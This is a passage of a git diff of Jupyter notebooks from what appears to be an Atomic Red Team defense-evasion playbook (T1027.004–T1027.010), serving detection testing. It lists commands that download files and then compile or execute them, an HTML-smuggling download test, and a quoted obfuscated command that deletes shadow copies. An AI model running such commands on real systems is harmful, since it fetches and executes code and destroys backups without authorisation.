GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)" }, { "cell_type": "markdown", - "id": "5d0d408e", + "id": "b9359443", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2eb0ec6e", + "id": "180ee70d", "metadata": {}, - "source": "### Atomic Test #1 - Compile After Delivery using csc.exe\nCompile C# code using csc.exe binary used by .NET\nUpon execution an exe named T1027.004.exe will be placed in the temp folder\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: C# file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1027.004\\src\\calc.cs) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1027.004\\src\\calc.cs) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs\" -OutFile \"PathToAtomicsFolder\\T1027.004\\src\\calc.cs\"\n\n```" + "source": "### Atomic Test #1 - Compile After Delivery using csc.exe\nCompile C# code using csc.exe binary used by .NET\nUpon execution an exe named T1027.004.exe will be placed in the temp folder\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: C# file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1027.004\\src\\calc.cs\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1027.004\\src\\calc.cs\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/calc.cs\" -OutFile \"PathToAtomicsFolder\\T1027.004\\src\\calc.cs\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cbe46e0f", + "id": "0dec2a86", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "776cc441", + "id": "005ed368", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:C:\\Windows\\Temp\\T1027.004.exe PathToAtomicsFolder\\T1027.004\\src\\calc.cs\n```" + "```command_prompt\nC:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:C:\\Windows\\Temp\\T1027.004.exe \"PathToAtomicsFolder\\T1027.004\\src\\calc.cs\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "27532a37", + "id": "3b9c1882", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "a3d79ebd", + "id": "fc750bdc", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\Windows\\Temp\\T1027.004.exe >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "16637752", + "id": "52620bba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c904875e", + "id": "8ba37a0a", "metadata": {}, - "source": "### Atomic Test #2 - Dynamic C# Compile\nWhen C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is containted in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: exe file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe -OutFile PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe\n\n```" + "source": "### Atomic Test #2 - Dynamic C# Compile\nWhen C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: exe file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/bin/T1027.004_DynamicCompile.exe -OutFile \"PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1eee3c7f", + "id": "adc3fbe2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "bd524ebb", + "id": "e10d3f8a", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nInvoke-Expression PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe\n```" + "```powershell\nInvoke-Expression \"PathToAtomicsFolder\\T1027.004\\bin\\T1027.004_DynamicCompile.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "dc87c0c2", + "id": "cd4012f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "1c3fc5e5", + "id": "104d9d35", "metadata": {}, - "source": "### Atomic Test #3 - C compile\nCompile a c file with either gcc or clang on Linux or Macos.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: the source file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```bash\nif [ -e PathToAtomicsFolder/T1027.004/src/T1027-004-test.c ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nwget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c -O PathToAtomicsFolder/T1027.004/src/T1027-004-test.c\n\n```" + "source": "### Atomic Test #3 - C compile\nCompile a c file with either gcc or clang on FreeBSD, Linux or Macos.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: the source file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```sh\nif [ -e PathToAtomicsFolder/T1027.004/src/T1027-004-test.c ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nwget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.c -O \"PathToAtomicsFolder/T1027.004/src/T1027-004-test.c\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "428f69d6", + "id": "24855a56", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ea2bdaf6", + "id": "c7a70c18", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\ngcc PathToAtomicsFolder/T1027.004/src/T1027-004-test.c && ./a.out\nclang PathToAtomicsFolder/T1027.004/src/T1027-004-test.c && ./a.out\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcc PathToAtomicsFolder/T1027.004/src/T1027-004-test.c && ./a.out\nclang PathToAtomicsFolder/T1027.004/src/T1027-004-test.c && ./a.out\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "1f50c49b", + "id": "501c2dc7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "3a4b354e", + "id": "75ae59ee", "metadata": {}, - "source": "### Atomic Test #4 - CC compile\nCompile a c file with either gcc or clang on Linux or Macos.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: the source file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```bash\nif [ -e PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nwget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.cc -O PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc\n\n```" + "source": "### Atomic Test #4 - CC compile\nCompile a c file with either gcc or clang on FreeBSD, Linux or Macos.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: the source file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```sh\nif [ -e PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nwget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.cc -O PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3757c5c7", + "id": "cdf802fb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "76768a24", + "id": "78811cad", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\ng++ PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc && ./a.out\nclang++ PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc && ./a.out\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ng++ PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc && ./a.out\nclang++ PathToAtomicsFolder/T1027.004/src/T1027-004-test.cc && ./a.out\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "75828c0d", + "id": "3e507a96", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "9d91eaa0", + "id": "c0037a19", "metadata": {}, - "source": "### Atomic Test #5 - Go compile\nCompile a c file with either gcc or clang on Linux or Macos.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: the source file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```bash\nif [ -e PathToAtomicsFolder/T1027.004/src/T1027-004-test.go ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\nwget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.go -O PathToAtomicsFolder/T1027.004/src/T1027-004-test.go\n\n```" + "source": "### Atomic Test #5 - Go compile\nCompile a go file with golang on FreeBSD, Linux or Macos.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: the source file must exist on disk at specified location (#{input_file})\n\n##### Check Prereq Commands:\n```sh\nif [ -e PathToAtomicsFolder/T1027.004/src/T1027-004-test.go ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nwget https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.004/src/T1027-004-test.go -O PathToAtomicsFolder/T1027.004/src/T1027-004-test.go\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "18909a4b", + "id": "3d4f1d1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e9fe4a74", + "id": "4133a4a5", "metadata": {}, "source": [ - "#### Attack Commands: Run with `bash`\n", - "```bash\ngo run PathToAtomicsFolder/T1027.004/src/T1027-004-test.go\n```" + "#### Attack Commands: Run with `sh`\n", + "```sh\ngo run PathToAtomicsFolder/T1027.004/src/T1027-004-test.go\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e75b463d", + "id": "28c21c29", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "0667349d", + "id": "941c7b31", "metadata": {}, "source": "## Detection\nMonitor the execution file paths and command-line arguments for common compilers, such as csc.exe and GCC/MinGW, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. The compilation of payloads may also generate file creation and/or file write events. Look for non-native binary formats and cross-platform compiler and execution frameworks like Mono and determine if they have a legitimate purpose on the system.(Citation: TrendMicro WindowsAppMac) Typically these should only be used in specific and limited cases, like for software development." } @@ -191,13 +191,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.005.ipynb b/playbook/tactics/defense-evasion/T1027.005.ipynb index 1dc614c0..055a6f88 100644 --- a/playbook/tactics/defense-evasion/T1027.005.ipynb +++ b/playbook/tactics/defense-evasion/T1027.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "9d89cc9a", + "id": "5ba9fc86", "metadata": {}, "source": "# T1027.005 - Indicator Removal from Tools\nAdversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware." }, { "cell_type": "markdown", - "id": "45d1a31b", + "id": "c5bd15b4", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f8517b8c", + "id": "b33106b4", "metadata": {}, "source": "## Detection\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.006.ipynb b/playbook/tactics/defense-evasion/T1027.006.ipynb index f19daf01..2cdebc98 100644 --- a/playbook/tactics/defense-evasion/T1027.006.ipynb +++ b/playbook/tactics/defense-evasion/T1027.006.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "691de044", + "id": "b0efb564", "metadata": {}, "source": "# T1027.006 - HTML Smuggling\nAdversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)" }, { "cell_type": "markdown", - "id": "1f4ceb9a", + "id": "10e3f4b7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "194a9671", + "id": "7a296ce2", "metadata": {}, - "source": "### Atomic Test #1 - HTML Smuggling Remote Payload\nThe HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without userinteraction. \nThe HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html) { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1027.006\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.006/bin/T1027_006_Remote.html\" -OutFile \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\"\n\n```" + "source": "### Atomic Test #1 - HTML Smuggling Remote Payload\nThe HTML file will download an ISO file from [T1553.005](https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1553.005/bin/FeelTheBurn.iso) without user interaction. \nThe HTML file is based off of the work from [Stan Hegt](https://outflank.nl/blog/2018/08/14/html-smuggling-explained/)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: T1027_006_remote.html must exist on disk at specified at PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\") { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1027.006\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027.006/bin/T1027_006_Remote.html\" -OutFile \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_Remote.html\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5bbf970f", + "id": "012b49b6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2f70f022", + "id": "c82dba33", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nPathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\n```" + "```powershell\n& \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "50cb85ce", + "id": "61264481", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6e757e83", + "id": "530d3db5", "metadata": {}, - "source": "#### Cleanup: \n```powershell\n$user = [System.Environment]::UserName; Remove-Item -Path C:\\Users\\$user\\Downloads\\FeelTheBurn.iso```" + "source": "#### Cleanup: \n```powershell\n$user = [System.Environment]::UserName; Remove-Item -Path C:\\Users\\$user\\Downloads\\FeelTheBurn.iso -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "60b1a46f", + "id": "10ab9239", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1027.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "d72c5dc6", + "id": "217d09c8", "metadata": {}, "source": "## Detection\nDetection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\n\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.007.ipynb b/playbook/tactics/defense-evasion/T1027.007.ipynb index a2bdd08d..23583faf 100644 --- a/playbook/tactics/defense-evasion/T1027.007.ipynb +++ b/playbook/tactics/defense-evasion/T1027.007.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "1581a1ef", + "id": "90720698", "metadata": {}, "source": "# T1027.007 - Dynamic API Resolution\nAdversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)" }, { "cell_type": "markdown", - "id": "afbe6a6c", + "id": "a953bd6a", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.008.ipynb b/playbook/tactics/defense-evasion/T1027.008.ipynb index 0b874969..44d2d4af 100644 --- a/playbook/tactics/defense-evasion/T1027.008.ipynb +++ b/playbook/tactics/defense-evasion/T1027.008.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "03a06548", + "id": "88f6c28a", "metadata": {}, "source": "# T1027.008 - Stripped Payloads\nAdversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system\u2019s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)" }, { "cell_type": "markdown", - "id": "39d5698b", + "id": "5e1785b6", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.009.ipynb b/playbook/tactics/defense-evasion/T1027.009.ipynb index 917e860a..fd912a61 100644 --- a/playbook/tactics/defense-evasion/T1027.009.ipynb +++ b/playbook/tactics/defense-evasion/T1027.009.ipynb @@ -2,13 +2,13 @@ "cells": [ { "cell_type": "markdown", - "id": "1888cfcc", + "id": "b1b9c514", "metadata": {}, "source": "# T1027.009 - Embedded Payloads\nAdversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)" }, { "cell_type": "markdown", - "id": "a479ded1", + "id": "fd091e4e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." } @@ -16,13 +16,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1027.010.ipynb b/playbook/tactics/defense-evasion/T1027.010.ipynb new file mode 100644 index 00000000..762bcd5f --- /dev/null +++ b/playbook/tactics/defense-evasion/T1027.010.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "70f54905", + "metadata": {}, + "source": "# T1027.010 - Command Obfuscation\nAdversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)" + }, + { + "cell_type": "markdown", + "id": "1bde4af2", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": 